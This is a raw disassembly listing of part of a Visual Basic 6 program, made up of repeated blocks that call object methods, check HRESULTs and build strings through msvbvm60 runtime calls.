    00406deacall imp:msvbvm60!__vbaFreeStr
    00406df0lea edx, [ebp-48]
    00406df3lea eax, [ebp-44]
    00406df6push edx
    00406df7push eax
    00406df8push 2
    00406dfacall imp:msvbvm60!__vbaFreeObjList
    00406e00lea ecx, [ebp-128]
    00406e03lea edx, [ebp-96]
    00406e06push ecx
    00406e07lea eax, [ebp-112]
    00406e0apush edx
    00406e0blea ecx, [ebp-80]
    00406e0epush eax
    00406e0flea edx, [ebp-64]
    00406e12push ecx
    00406e13lea eax, [ebp-144]
    00406e19push edx
    00406e1apush eax
    00406e1bpush 6
    00406e1dcall imp:msvbvm60!__vbaFreeVarList
    00406e23add esp, 40
    00406e26jmp 0x408dc8
    00406e2bmov ecx, [esi]
    00406e2dpush esi
    00406e2ecall [ecx+780]
    00406e34lea edx, [ebp-48]
    00406e37push eax
    00406e38push edx
    00406e39call ebx
    00406e3bmov [ebp-192], eax
    00406e41mov eax, [esi]
    00406e43push esi
    00406e44call [eax+780]
    00406e4alea ecx, [ebp-44]
    00406e4dpush eax
    00406e4epush ecx
    00406e4fcall ebx
    00406e51mov edx, [eax]
    00406e53lea ecx, [ebp-36]
    00406e56push ecx
    00406e57push eax
    00406e58mov [ebp-184], eax
    00406e5ecall [edx+160]
    00406e64test eax, eax
    00406e66fnclex
    00406e68jge 0x406e82
    00406e6amov edx, [ebp-184]
    00406e70push 160
    00406e75push 0x403038
    00406e7apush edx
    00406e7bpush eax
    00406e7ccall imp:msvbvm60!__vbaHresultCheckObj
    00406e82
    00406e82loc_406e82:
    00406e82mov eax, [ebp-36]
    00406e85lea edx, [ebp-176]
    00406e8bmov [ebp-104], eax
    00406e8emov eax, 8
    00406e93lea ecx, [ebp-80]
    00406e96mov [ebp-36], 0
    00406e9dmov [ebp-112], eax
    00406ea0mov [ebp-168], 0x403228
    00406eaamov [ebp-176], eax
    00406eb0call imp:msvbvm60!__vbaVarDup
    00406eb6mov [ebp-152], 0x4030cc
    00406ec0jmp 0x406c1f
    00406ec5mov edx, [esi]
    00406ec7push esi
    00406ec8call [edx+780]
    00406ecepush eax
    00406ecflea eax, [ebp-48]
    00406ed2push eax
    00406ed3call ebx
    00406ed5mov ecx, [esi]
    00406ed7push esi
    00406ed8mov [ebp-192], eax
    00406edecall [ecx+780]
    00406ee4lea edx, [ebp-44]
    00406ee7push eax
    00406ee8push edx
    00406ee9call ebx
    00406eebmov ecx, [eax]
    00406eedlea edx, [ebp-36]
    00406ef0push edx
    00406ef1push eax
    00406ef2mov [ebp-184], eax
    00406ef8call [ecx+160]
    00406efetest eax, eax
    00406f00fnclex
    00406f02jge 0x406f1c
    00406f04mov ecx, [ebp-184]
    00406f0apush 160
    00406f0fpush 0x403038
    00406f14push ecx
    00406f15push eax
    00406f16call imp:msvbvm60!__vbaHresultCheckObj
    00406f1c
    00406f1cloc_406f1c:
    00406f1cmov eax, [ebp-36]
    00406f1flea edx, [ebp-176]
    00406f25mov [ebp-104], eax
    00406f28mov eax, 8
    00406f2dlea ecx, [ebp-80]
    00406f30mov [ebp-36], 0
    00406f37mov [ebp-112], eax
    00406f3amov [ebp-168], 0x403230
    00406f44mov [ebp-176], eax
    00406f4acall imp:msvbvm60!__vbaVarDup
    00406f50mov [ebp-152], 0x403298
    00406f5ajmp 0x407dd6
    00406f5fmov ecx, [esi]
    00406f61push esi
    00406f62call [ecx+780]
    00406f68lea edx, [ebp-48]
    00406f6bpush eax
    00406f6cpush edx
    00406f6dcall ebx
    00406f6fmov [ebp-192], eax
    00406f75mov eax, [esi]
    00406f77push esi
    00406f78call [eax+780]
    00406f7elea ecx, [ebp-44]
    00406f81push eax
    00406f82push ecx
    00406f83call ebx
    00406f85mov edx, [eax]
    00406f87lea ecx, [ebp-36]
    00406f8apush ecx
    00406f8bpush eax
    00406f8cmov [ebp-184], eax
    00406f92call [edx+160]
    00406f98test eax, eax
    00406f9afnclex
    00406f9cjge 0x406fb6
    00406f9emov edx, [ebp-184]
    00406fa4push 160
    00406fa9push 0x403038
    00406faepush edx
    00406fafpush eax
    00406fb0call imp:msvbvm60!__vbaHresultCheckObj
    00406fb6
    00406fb6loc_406fb6:
    00406fb6mov eax, [ebp-36]
    00406fb9lea edx, [ebp-176]
    00406fbfmov [ebp-104], eax
    00406fc2mov eax, 8
    00406fc7lea ecx, [ebp-80]
    00406fcamov [ebp-36], 0
    00406fd1mov [ebp-112], eax
    00406fd4mov [ebp-168], 0x403238
    00406fdemov [ebp-176], eax
    00406fe4call imp:msvbvm60!__vbaVarDup
    00406feamov [ebp-152], 0x4032a0
    00406ff4jmp 0x406c1f
    00406ff9mov edx, [esi]
    00406ffbpush esi
    00406ffccall [edx+780]
    00407002push eax
    00407003lea eax, [ebp-48]
    00407006push eax
    00407007call ebx
    00407009mov ecx, [esi]
    0040700bpush esi
    0040700cmov [ebp-192], eax
    00407012call [ecx+780]
    00407018lea edx, [ebp-44]
    0040701bpush eax
    0040701cpush edx
    0040701dcall ebx
    0040701fmov ecx, [eax]
    00407021lea edx, [ebp-36]
    00407024push edx
    00407025push eax
    00407026mov [ebp-184], eax
    0040702ccall [ecx+160]
    00407032test eax, eax
    00407034fnclex
    00407036jge 0x407050
    00407038mov ecx, [ebp-184]
    0040703epush 160
    00407043push 0x403038
    00407048push ecx
    00407049push eax
    0040704acall imp:msvbvm60!__vbaHresultCheckObj
    00407050
    00407050loc_407050:
    00407050mov eax, [ebp-36]
    00407053lea edx, [ebp-176]
    00407059mov [ebp-104], eax
    0040705cmov eax, 8
    00407061lea ecx, [ebp-80]
    00407064mov [ebp-36], 0
    0040706bmov [ebp-112], eax
    0040706emov [ebp-168], 0x403240
    00407078mov [ebp-176], eax
    0040707ecall imp:msvbvm60!__vbaVarDup
    00407084mov [ebp-152], 0x4032a8
    0040708ejmp 0x407dd6
    00407093mov ecx, [esi]
    00407095push esi
    00407096call [ecx+780]
    0040709clea edx, [ebp-48]
    0040709fpush eax
    004070a0push edx
    004070a1call ebx
    004070a3mov [ebp-192], eax
    004070a9mov eax, [esi]
    004070abpush esi
    004070accall [eax+780]
    004070b2lea ecx, [ebp-44]
    004070b5push eax
    004070b6push ecx
    004070b7call ebx
    004070b9mov edx, [eax]
    004070bblea ecx, [ebp-36]
    004070bepush ecx
    004070bfpush eax
    004070c0mov [ebp-184], eax
    004070c6call [edx+160]
    004070cctest eax, eax
    004070cefnclex
    004070d0jge 0x4070ea
    004070d2mov edx, [ebp-184]
    004070d8push 160
    004070ddpush 0x403038
    004070e2push edx
    004070e3push eax
    004070e4call imp:msvbvm60!__vbaHresultCheckObj
    004070ea
    004070ealoc_4070ea:
    004070eamov eax, [ebp-36]
    004070edlea edx, [ebp-176]
    004070f3mov [ebp-104], eax
    004070f6mov eax, 8
    004070fblea ecx, [ebp-80]
    004070femov [ebp-36], 0
    00407105mov [ebp-112], eax
    00407108mov [ebp-168], 0x403248
    00407112mov [ebp-176], eax
    00407118call imp:msvbvm60!__vbaVarDup
    0040711emov [ebp-152], 0x4032b0
    00407128jmp 0x406c1f
    0040712dmov edx, [esi]
    0040712fpush esi
    00407130call [edx+780]
    00407136push eax
    00407137lea eax, [ebp-48]
    0040713apush eax
    0040713bcall ebx
    0040713dmov ecx, [esi]
    0040713fpush esi
    00407140mov [ebp-192], eax
    00407146call [ecx+780]
    0040714clea edx, [ebp-44]
    0040714fpush eax
    00407150push edx
    00407151call ebx
    00407153mov ecx, [eax]
    00407155lea edx, [ebp-36]
    00407158push edx
    00407159push eax
    0040715amov [ebp-184], eax
    00407160call [ecx+160]
    00407166test eax, eax
    00407168fnclex
    0040716ajge 0x407184
    0040716cmov ecx, [ebp-184]
    00407172push 160
    00407177push 0x403038
    0040717cpush ecx
    0040717dpush eax
    0040717ecall imp:msvbvm60!__vbaHresultCheckObj
    00407184
    00407184loc_407184:
    00407184mov eax, [ebp-36]
    00407187lea edx, [ebp-176]
    0040718dmov [ebp-104], eax
    00407190mov eax, 8
    00407195lea ecx, [ebp-80]
    00407198mov [ebp-36], 0
    0040719fmov [ebp-112], eax
    004071a2mov [ebp-168], 0x403250
    004071acmov [ebp-176], eax
    004071b2call imp:msvbvm60!__vbaVarDup
    004071b8mov [ebp-152], 0x40314c
    004071c2jmp 0x407dd6
    004071c7mov ecx, [esi]
    004071c9push esi
    004071cacall [ecx+780]
    004071d0lea edx, [ebp-48]
    004071d3push eax
    004071d4push edx
    004071d5call ebx
    004071d7mov [ebp-192], eax
    004071ddmov eax, [esi]
    004071dfpush esi
    004071e0call [eax+780]
    004071e6lea ecx, [ebp-44]
    004071e9push eax
    004071eapush ecx
    004071ebcall ebx
    004071edmov edx, [eax]
    004071eflea ecx, [ebp-36]
    004071f2push ecx
    004071f3push eax
    004071f4mov [ebp-184], eax
    004071facall [edx+160]
    00407200test eax, eax
    00407202fnclex
    00407204jge 0x40721e
    00407206mov edx, [ebp-184]
    0040720cpush 160
    00407211push 0x403038
    00407216push edx
    00407217push eax
    00407218call imp:msvbvm60!__vbaHresultCheckObj
    0040721e
    0040721eloc_40721e:
    0040721emov eax, [ebp-36]
    00407221lea edx, [ebp-176]
    00407227mov [ebp-104], eax
    0040722amov eax, 8
    0040722flea ecx, [ebp-80]
    00407232mov [ebp-36], 0
    00407239mov [ebp-112], eax
    0040723cmov [ebp-168], 0x403258
    00407246mov [ebp-176], eax
    0040724ccall imp:msvbvm60!__vbaVarDup
    00407252mov [ebp-152], 0x4032b8
    0040725cjmp 0x406c1f
    00407261mov edx, [esi]
    00407263push esi
    00407264call [edx+780]
    0040726apush eax
    0040726blea eax, [ebp-48]
    0040726epush eax
    0040726fcall ebx
    00407271mov ecx, [esi]
    00407273push esi
    00407274mov [ebp-192], eax
    0040727acall [ecx+780]
    00407280lea edx, [ebp-44]
    00407283push eax
    00407284push edx
    00407285call ebx
    00407287mov ecx, [eax]
    00407289lea edx, [ebp-36]
    0040728cpush edx
    0040728dpush eax
    0040728emov [ebp-184], eax
    00407294call [ecx+160]
    0040729atest eax, eax
    0040729cfnclex
    0040729ejge 0x4072b8
    004072a0mov ecx, [ebp-184]
    004072a6push 160
    004072abpush 0x403038
    004072b0push ecx
    004072b1push eax
    004072b2call imp:msvbvm60!__vbaHresultCheckObj
    004072b8
    004072b8loc_4072b8:
    004072b8mov eax, [ebp-36]
    004072bblea edx, [ebp-176]
    004072c1mov [ebp-104], eax
    004072c4mov eax, 8
    004072c9lea ecx, [ebp-80]
    004072ccmov [ebp-36], 0
    004072d3mov [ebp-112], eax
    004072d6mov [ebp-168], 0x403260
    004072e0mov [ebp-176], eax
    004072e6call imp:msvbvm60!__vbaVarDup
    004072ecmov [ebp-152], 0x4032c0
    004072f6jmp 0x407dd6
    004072fbmov ecx, [esi]
    004072fdpush esi
    004072fecall [ecx+780]
    00407304lea edx, [ebp-48]
    00407307push eax
    00407308push edx
    00407309call ebx
    0040730bmov [ebp-192], eax
    00407311mov eax, [esi]
    00407313push esi
    00407314call [eax+780]
    0040731alea ecx, [ebp-44]
    0040731dpush eax
    0040731epush ecx
    0040731fcall ebx
    00407321mov edi, eax
    00407323lea eax, [ebp-36]
    00407326push eax
    00407327push edi
    00407328mov edx, [edi]
    0040732acall [edx+160]
    00407330test eax, eax
    00407332fnclex
    00407334jge 0x407348
    00407336push 160
    0040733bpush 0x403038
    00407340push edi
    00407341push eax
    00407342call imp:msvbvm60!__vbaHresultCheckObj
    00407348
    00407348loc_407348:
    00407348mov edx, [ebp-36]
    0040734bmov ecx, [ebp-192]
    00407351push edx
    00407352push 0x4032c8
    00407357mov edi, [ecx]
    00407359call imp:msvbvm60!__vbaStrCat
    0040735fmov edx, eax
    00407361lea ecx, [ebp-40]
    00407364call imp:msvbvm60!__vbaStrMove
    0040736amov [ebp-396], edi
    00407370mov edi, [ebp-192]
    00407376push eax
    00407377mov eax, [ebp-396]
    0040737dpush edi
    0040737ejmp 0x406469
    00407383mov edx, [esi]
    00407385push esi
    00407386call [edx+780]
    0040738cpush eax
    0040738dlea eax, [ebp-48]
    00407390push eax
    00407391call ebx
    00407393mov ecx, [esi]
    00407395push esi
    00407396mov [ebp-192], eax
    0040739ccall [ecx+780]
    004073a2lea edx, [ebp-44]
    004073a5push eax
    004073a6push edx
    004073a7call ebx
    004073a9mov edi, eax
    004073ablea ecx, [ebp-36]
    004073aepush ecx
    004073afpush edi
    004073b0mov eax, [edi]
    004073b2call [eax+160]
    004073b8test eax, eax
    004073bafnclex
    004073bcjge 0x4073d0
    004073bepush 160
    004073c3push 0x403038
    004073c8push edi
    004073c9push eax
    004073cacall imp:msvbvm60!__vbaHresultCheckObj
    004073d0
    004073d0loc_4073d0:
    004073d0mov eax, [ebp-36]
    004073d3mov edx, [ebp-192]
    004073d9push eax
    004073dapush 0x4032d8
    004073dfmov edi, [edx]
    004073e1call imp:msvbvm60!__vbaStrCat
    004073e7mov edx, eax
    004073e9lea ecx, [ebp-40]
    004073eccall imp:msvbvm60!__vbaStrMove
    004073f2mov ecx, edi
    004073f4mov edi, [ebp-192]
    004073fapush eax
    004073fbpush edi
    004073fcjmp 0x408b87
    00407401mov eax, [esi]
    00407403push esi
    00407404call [eax+780]
    0040740alea ecx, [ebp-48]
    0040740dpush eax
    0040740epush ecx
    0040740fcall ebx
    00407411mov edx, [esi]
    00407413push esi
    00407414mov [ebp-192], eax
    0040741acall [edx+780]
    00407420push eax
    00407421lea eax, [ebp-44]
    00407424push eax
    00407425call ebx
    00407427mov edi, eax
    00407429lea edx, [ebp-36]
    0040742cpush edx
    0040742dpush edi
    0040742emov ecx, [edi]
    00407430call [ecx+160]
    00407436test eax, eax
    00407438fnclex
    0040743ajge 0x40744e
    0040743cpush 160
    00407441push 0x403038
    00407446push edi
    00407447push eax
    00407448call imp:msvbvm60!__vbaHresultCheckObj
    0040744e
    0040744eloc_40744e:
    0040744emov ecx, [ebp-36]
    00407451mov eax, [ebp-192]
    00407457push ecx
    00407458push 0x4032e8
    0040745dmov edi, [eax]
    0040745fcall imp:msvbvm60!__vbaStrCat
    00407465mov edx, eax
    00407467lea ecx, [ebp-40]
    0040746acall imp:msvbvm60!__vbaStrMove
    00407470mov edx, edi
    00407472mov edi, [ebp-192]
    00407478push eax
    00407479push edi
    0040747ajmp 0x4063d1
    0040747fmov ecx, [esi]
    00407481push esi
    00407482call [ecx+780]
    00407488lea edx, [ebp-48]
    0040748bpush eax
    0040748cpush edx
    0040748dcall ebx
    0040748fmov [ebp-192], eax
    00407495mov eax, [esi]
    00407497push esi
    00407498call [eax+780]
    0040749elea ecx, [ebp-44]
    004074a1push eax
    004074a2push ecx
    004074a3call ebx
    004074a5mov edi, eax
    004074a7lea eax, [ebp-36]
    004074aapush eax
    004074abpush edi
    004074acmov edx, [edi]
    004074aecall [edx+160]
    004074b4test eax, eax
    004074b6fnclex
    004074b8jge 0x4074cc
    004074bapush 160
    004074bfpush 0x403038
    004074c4push edi
    004074c5push eax
    004074c6call imp:msvbvm60!__vbaHresultCheckObj
    004074cc
    004074ccloc_4074cc:
    004074ccmov edx, [ebp-36]
    004074cfmov ecx, [ebp-192]
    004074d5push edx
    004074d6push 0x4032f8
    004074dbmov edi, [ecx]
    004074ddcall imp:msvbvm60!__vbaStrCat
    004074e3mov edx, eax
    004074e5lea ecx, [ebp-40]
    004074e8call imp:msvbvm60!__vbaStrMove
    004074eemov [ebp-408], edi
    004074f4mov edi, [ebp-192]
    004074fapush eax
    004074fbmov eax, [ebp-408]
    00407501push edi
    00407502jmp 0x406469
    00407507mov edx, [esi]
    00407509push esi
    0040750acall [edx+780]
    00407510push eax
    00407511lea eax, [ebp-48]
    00407514push eax
    00407515call ebx
    00407517mov ecx, [esi]
    00407519push esi
    0040751amov [ebp-192], eax
    00407520call [ecx+780]
    00407526lea edx, [ebp-44]
    00407529push eax
    0040752apush edx
    0040752bcall ebx
    0040752dmov edi, eax
    0040752flea ecx, [ebp-36]
    00407532push ecx
    00407533push edi
    00407534mov eax, [edi]
    00407536call [eax+160]
    0040753ctest eax, eax
    0040753efnclex
    00407540jge 0x407554
    00407542push 160
    00407547push 0x403038
    0040754cpush edi
    0040754dpush eax
    0040754ecall imp:msvbvm60!__vbaHresultCheckObj
    00407554
    00407554loc_407554:
    00407554mov eax, [ebp-36]
    00407557mov edx, [ebp-192]
    0040755dpush eax
    0040755epush 0x403308
    00407563mov edi, [edx]
    00407565call imp:msvbvm60!__vbaStrCat
    0040756bmov edx, eax
    0040756dlea ecx, [ebp-40]
    00407570call imp:msvbvm60!__vbaStrMove
    00407576mov ecx, edi
    00407578mov edi, [ebp-192]
    0040757epush eax
    0040757fpush edi
    00407580jmp 0x408b87
    00407585mov eax, [esi]
    00407587push esi
    00407588call [eax+780]
    0040758elea ecx, [ebp-48]
    00407591push eax
    00407592push ecx
    00407593call ebx
    00407595mov edx, [esi]
    00407597push esi
    00407598mov [ebp-192], eax
    0040759ecall [edx+780]
    004075a4push eax
    004075a5lea eax, [ebp-44]
    004075a8push eax
    004075a9call ebx
    004075abmov edi, eax
    004075adlea edx, [ebp-36]
    004075b0push edx
    004075b1push edi
    004075b2mov ecx, [edi]
    004075b4call [ecx+160]
    004075batest eax, eax
    004075bcfnclex
    004075bejge 0x4075d2
    004075c0push 160
    004075c5push 0x403038
    004075capush edi
    004075cbpush eax
    004075cccall imp:msvbvm60!__vbaHresultCheckObj
    004075d2
    004075d2loc_4075d2:
    004075d2mov ecx, [ebp-36]
    004075d5mov eax, [ebp-192]
    004075dbpush ecx
    004075dcpush 0x403318
    004075e1mov edi, [eax]
    004075e3call imp:msvbvm60!__vbaStrCat
    004075e9mov edx, eax
    004075eblea ecx, [ebp-40]
    004075eecall imp:msvbvm60!__vbaStrMove
    004075f4mov edx, edi
    004075f6mov edi, [ebp-192]
    004075fcpush eax
    004075fdpush edi
    004075fejmp 0x4063d1
    00407603mov ecx, [esi]
    00407605push esi
    00407606call [ecx+780]
    0040760clea edx, [ebp-48]
    0040760fpush eax
    00407610push edx
    00407611call ebx
    00407613mov [ebp-192], eax
    00407619mov eax, [esi]
    0040761bpush esi
    0040761ccall [eax+780]
    00407622lea ecx, [ebp-44]
    00407625push eax
    00407626push ecx
    00407627call ebx
    00407629mov edi, eax
    0040762blea eax, [ebp-36]
    0040762epush eax
    0040762fpush edi
    00407630mov edx, [edi]
    00407632call [edx+160]
    00407638test eax, eax
    0040763afnclex
    0040763cjge 0x407650
    0040763epush 160
    00407643push 0x403038
    00407648push edi
    00407649push eax
    0040764acall imp:msvbvm60!__vbaHresultCheckObj
    00407650
    00407650loc_407650:
    00407650mov edx, [ebp-36]
    00407653mov ecx, [ebp-192]
    00407659push edx
    0040765apush 0x403328
    0040765fmov edi, [ecx]
    00407661call imp:msvbvm60!__vbaStrCat
    00407667mov edx, eax
    00407669lea ecx, [ebp-40]
    0040766ccall imp:msvbvm60!__vbaStrMove
    00407672mov [ebp-420], edi
    00407678mov edi, [ebp-192]
    0040767epush eax
    0040767fmov eax, [ebp-420]
    00407685push edi
    00407686jmp 0x406469
    0040768bmov edx, [esi]
    0040768dpush esi
    0040768ecall [edx+780]
    00407694push eax
    00407695lea eax, [ebp-48]
    00407698push eax
    00407699call ebx
    0040769bmov ecx, [esi]
    0040769dpush esi
    0040769emov [ebp-192], eax
    004076a4call [ecx+780]
    004076aalea edx, [ebp-44]
    004076adpush eax
    004076aepush edx
    004076afcall ebx
    004076b1mov edi, eax
    004076b3lea ecx, [ebp-36]
    004076b6push ecx
    004076b7push edi
    004076b8mov eax, [edi]
    004076bacall [eax+160]
    004076c0test eax, eax
    004076c2fnclex
    004076c4jge 0x4076d8
    004076c6push 160
    004076cbpush 0x403038
    004076d0push edi
    004076d1push eax
    004076d2call imp:msvbvm60!__vbaHresultCheckObj
    004076d8
    004076d8loc_4076d8:
    004076d8mov eax, [ebp-36]
    004076dbmov edx, [ebp-192]
    004076e1push eax
    004076e2push 0x403338
    004076e7mov edi, [edx]
    004076e9call imp:msvbvm60!__vbaStrCat
    004076efmov edx, eax
    004076f1lea ecx, [ebp-40]
    004076f4call imp:msvbvm60!__vbaStrMove
    004076famov ecx, edi
    004076fcmov edi, [ebp-192]
    00407702push eax
    00407703push edi
    00407704jmp 0x408b87
    00407709mov eax, [esi]
    0040770bpush esi
    0040770ccall [eax+780]
    00407712lea ecx, [ebp-48]
    00407715push eax
    00407716push ecx
    00407717call ebx
    00407719mov edx, [esi]
    0040771bpush esi
    0040771cmov [ebp-192], eax
    00407722call [edx+780]
    00407728push eax
    00407729lea eax, [ebp-44]
    0040772cpush eax
    0040772dcall ebx
    0040772fmov edi, eax
    00407731lea edx, [ebp-36]
    00407734push edx
    00407735push edi
    00407736mov ecx, [edi]
    00407738call [ecx+160]
    0040773etest eax, eax
    00407740fnclex
    00407742jge 0x407756
    00407744push 160
    00407749push 0x403038
    0040774epush edi
    0040774fpush eax
    00407750call imp:msvbvm60!__vbaHresultCheckObj
    00407756
    00407756loc_407756:
    00407756mov ecx, [ebp-36]
    00407759mov eax, [ebp-192]
    0040775fpush ecx
    00407760push 0x403348
    00407765mov edi, [eax]
    00407767call imp:msvbvm60!__vbaStrCat
    0040776dmov edx, eax
    0040776flea ecx, [ebp-40]
    00407772call imp:msvbvm60!__vbaStrMove
    00407778mov edx, edi
    0040777amov edi, [ebp-192]
    00407780push eax
    00407781push edi
    00407782jmp 0x4063d1
    00407787mov ecx, [esi]
    00407789push esi
    0040778acall [ecx+780]
    00407790lea edx, [ebp-48]
    00407793push eax
    00407794push edx
    00407795call ebx
    00407797mov [ebp-192], eax
    0040779dmov eax, [esi]
    0040779fpush esi
    004077a0call [eax+780]
    004077a6lea ecx, [ebp-44]
    004077a9push eax
    004077aapush ecx
    004077abcall ebx
    004077admov edi, eax
    004077aflea eax, [ebp-36]
    004077b2push eax
    004077b3push edi
    004077b4mov edx, [edi]
    004077b6call [edx+160]
    004077bctest eax, eax
    004077befnclex
    004077c0jge 0x4077d4
    004077c2push 160
    004077c7push 0x403038
    004077ccpush edi
    004077cdpush eax
    004077cecall imp:msvbvm60!__vbaHresultCheckObj
    004077d4
    004077d4loc_4077d4:
    004077d4mov edx, [ebp-36]
    004077d7mov ecx, [ebp-192]
    004077ddpush edx
    004077depush 0x403358
    004077e3mov edi, [ecx]
    004077e5call imp:msvbvm60!__vbaStrCat
    004077ebmov edx, eax
    004077edlea ecx, [ebp-40]
    004077f0call imp:msvbvm60!__vbaStrMove
    004077f6mov [ebp-432], edi
    004077fcmov edi, [ebp-192]
    00407802push eax
    00407803mov eax, [ebp-432]
    00407809push edi
    0040780ajmp 0x406469
    0040780fmov edx, [esi]
    00407811push esi
    00407812call [edx+780]
    00407818push eax
    00407819lea eax, [ebp-48]
    0040781cpush eax
    0040781dcall ebx
    0040781fmov ecx, [esi]
    00407821push esi
    00407822mov [ebp-192], eax
    00407828call [ecx+780]
    0040782elea edx, [ebp-44]
    00407831push eax
    00407832push edx
    00407833call ebx
    00407835mov edi, eax
    00407837lea ecx, [ebp-36]
    0040783apush ecx
    0040783bpush edi
    0040783cmov eax, [edi]
    0040783ecall [eax+160]
    00407844test eax, eax
    00407846fnclex
    00407848jge 0x40785c
    0040784apush 160
    0040784fpush 0x403038
    00407854push edi
    00407855push eax
    00407856call imp:msvbvm60!__vbaHresultCheckObj
    0040785c
    0040785cloc_40785c:
    0040785cmov eax, [ebp-36]
    0040785fmov edx, [ebp-192]
    00407865push eax
    00407866push 0x403368
    0040786bmov edi, [edx]
    0040786dcall imp:msvbvm60!__vbaStrCat
    00407873mov edx, eax
    00407875lea ecx, [ebp-40]
    00407878call imp:msvbvm60!__vbaStrMove
    0040787emov ecx, edi
    00407880mov edi, [ebp-192]
    00407886push eax
    00407887push edi
    00407888jmp 0x408b87
    0040788dmov eax, [esi]
    0040788fpush esi
    00407890call [eax+780]
    00407896lea ecx, [ebp-48]
    00407899push eax
    0040789apush ecx
    0040789bcall ebx
    0040789dmov edx, [esi]
    0040789fpush esi
    004078a0mov [ebp-192], eax
    004078a6call [edx+780]
    004078acpush eax
    004078adlea eax, [ebp-44]
    004078b0push eax
    004078b1call ebx
    004078b3mov edi, eax
    004078b5lea edx, [ebp-36]
    004078b8push edx
    004078b9push edi
    004078bamov ecx, [edi]
    004078bccall [ecx+160]
    004078c2test eax, eax
    004078c4fnclex
    004078c6jge 0x4078da
    004078c8push 160
    004078cdpush 0x403038
    004078d2push edi
    004078d3push eax
    004078d4call imp:msvbvm60!__vbaHresultCheckObj
    004078da
    004078daloc_4078da:
    004078damov ecx, [ebp-36]
    004078ddmov eax, [ebp-192]
    004078e3push ecx
    004078e4push 0x403378
    004078e9mov edi, [eax]
    004078ebcall imp:msvbvm60!__vbaStrCat
    004078f1mov edx, eax
    004078f3lea ecx, [ebp-40]
    004078f6call imp:msvbvm60!__vbaStrMove
    004078fcmov edx, edi
    004078femov edi, [ebp-192]
    00407904push eax
    00407905push edi
    00407906jmp 0x4063d1
    0040790bmov ecx, [esi]
    0040790dpush esi
    0040790ecall [ecx+780]
    00407914lea edx, [ebp-48]
    00407917push eax
    00407918push edx
    00407919call ebx
    0040791bmov [ebp-192], eax
    00407921mov eax, [esi]
    00407923push esi
    00407924call [eax+780]
    0040792alea ecx, [ebp-44]
    0040792dpush eax
    0040792epush ecx
    0040792fcall ebx
    00407931mov edx, [eax]
    00407933lea ecx, [ebp-36]
    00407936push ecx
    00407937push eax
    00407938mov [ebp-184], eax
    0040793ecall [edx+160]
    00407944test eax, eax
    00407946fnclex
    00407948jge 0x407962
    0040794amov edx, [ebp-184]
    00407950push 160
    00407955push 0x403038
    0040795apush edx
    0040795bpush eax
    0040795ccall imp:msvbvm60!__vbaHresultCheckObj
    00407962
    00407962loc_407962:
    00407962mov eax, [ebp-36]
    00407965lea edx, [ebp-176]
    0040796bmov [ebp-104], eax
    0040796emov eax, 8
    00407973lea ecx, [ebp-80]
    00407976mov [ebp-36], 0
    0040797dmov [ebp-112], eax
    00407980mov [ebp-168], 0x4031f8
    0040798amov [ebp-176], eax
    00407990call imp:msvbvm60!__vbaVarDup
    00407996mov [ebp-152], 0x403388
    004079a0jmp 0x406c1f
    004079a5mov edx, [esi]
    004079a7push esi
    004079a8call [edx+780]
    004079aepush eax
    004079aflea eax, [ebp-48]
    004079b2push eax
    004079b3call ebx
    004079b5mov ecx, [esi]
    004079b7push esi
    004079b8mov [ebp-192], eax
    004079becall [ecx+780]
    004079c4lea edx, [ebp-44]
    004079c7push eax
    004079c8push edx
    004079c9call ebx
    004079cbmov ecx, [eax]
    004079cdlea edx, [ebp-36]
    004079d0push edx
    004079d1push eax
    004079d2mov [ebp-184], eax
    004079d8call [ecx+160]
    004079detest eax, eax
    004079e0fnclex
    004079e2jge 0x4079fc
    004079e4mov ecx, [ebp-184]
    004079eapush 160
    004079efpush 0x403038
    004079f4push ecx
    004079f5push eax
    004079f6call imp:msvbvm60!__vbaHresultCheckObj
    004079fc
    004079fcloc_4079fc:
    004079fcmov eax, [ebp-36]
    004079fflea edx, [ebp-176]
    00407a05mov [ebp-104], eax
    00407a08mov eax, 8
    00407a0dlea ecx, [ebp-80]
    00407a10mov [ebp-36], 0
    00407a17mov [ebp-112], eax
    00407a1amov [ebp-168], 0x403398
    00407a24mov [ebp-176], eax
    00407a2acall imp:msvbvm60!__vbaVarDup
    00407a30mov [ebp-152], 0x403390
    00407a3ajmp 0x407dd6
    00407a3fmov ecx, [esi]
    00407a41push esi
    00407a42call [ecx+780]
    00407a48lea edx, [ebp-48]
    00407a4bpush eax
    00407a4cpush edx
    00407a4dcall ebx
    00407a4fmov [ebp-192], eax
    00407a55mov eax, [esi]
    00407a57push esi
    00407a58call [eax+780]
    00407a5elea ecx, [ebp-44]
    00407a61push eax
    00407a62push ecx
    00407a63call ebx
    00407a65mov edx, [eax]
    00407a67lea ecx, [ebp-36]
    00407a6apush ecx
    00407a6bpush eax
    00407a6cmov [ebp-184], eax
    00407a72call [edx+160]
    00407a78test eax, eax
    00407a7afnclex
    00407a7cjge 0x407a96
    00407a7emov edx, [ebp-184]
    00407a84push 160
    00407a89push 0x403038
    00407a8epush edx
    00407a8fpush eax
    00407a90call imp:msvbvm60!__vbaHresultCheckObj
    00407a96
    00407a96loc_407a96:
    00407a96mov eax, [ebp-36]
    00407a99lea edx, [ebp-176]
    00407a9fmov [ebp-104], eax
    00407aa2mov eax, 8
    00407aa7lea ecx, [ebp-80]
    00407aaamov [ebp-36], 0
    00407ab1mov [ebp-112], eax
    00407ab4mov [ebp-168], 0x403278
    00407abemov [ebp-176], eax
    00407ac4call imp:msvbvm60!__vbaVarDup
    00407acamov [ebp-152], 0x4031f0
    00407ad4jmp 0x406c1f
    00407ad9mov edx, [esi]
    00407adbpush esi
    00407adccall [edx+780]
    00407ae2push eax
    00407ae3lea eax, [ebp-48]
    00407ae6push eax
    00407ae7call ebx
    00407ae9mov ecx, [esi]
    00407aebpush esi
    00407aecmov [ebp-192], eax
    00407af2call [ecx+780]
    00407af8lea edx, [ebp-44]
    00407afbpush eax
    00407afcpush edx
    00407afdcall ebx
    00407affmov ecx, [eax]
    00407b01lea edx, [ebp-36]
    00407b04push edx
    00407b05push eax
    00407b06mov [ebp-184], eax
    00407b0ccall [ecx+160]
    00407b12test eax, eax
    00407b14fnclex
    00407b16jge 0x407b30
    00407b18mov ecx, [ebp-184]
    00407b1epush 160
    00407b23push 0x403038
    00407b28push ecx
    00407b29push eax
    00407b2acall imp:msvbvm60!__vbaHresultCheckObj
    00407b30
    00407b30loc_407b30:
    00407b30mov eax, [ebp-36]
    00407b33lea edx, [ebp-176]
    00407b39mov [ebp-104], eax
    00407b3cmov eax, 8
    00407b41lea ecx, [ebp-80]
    00407b44mov [ebp-36], 0
    00407b4bmov [ebp-112], eax
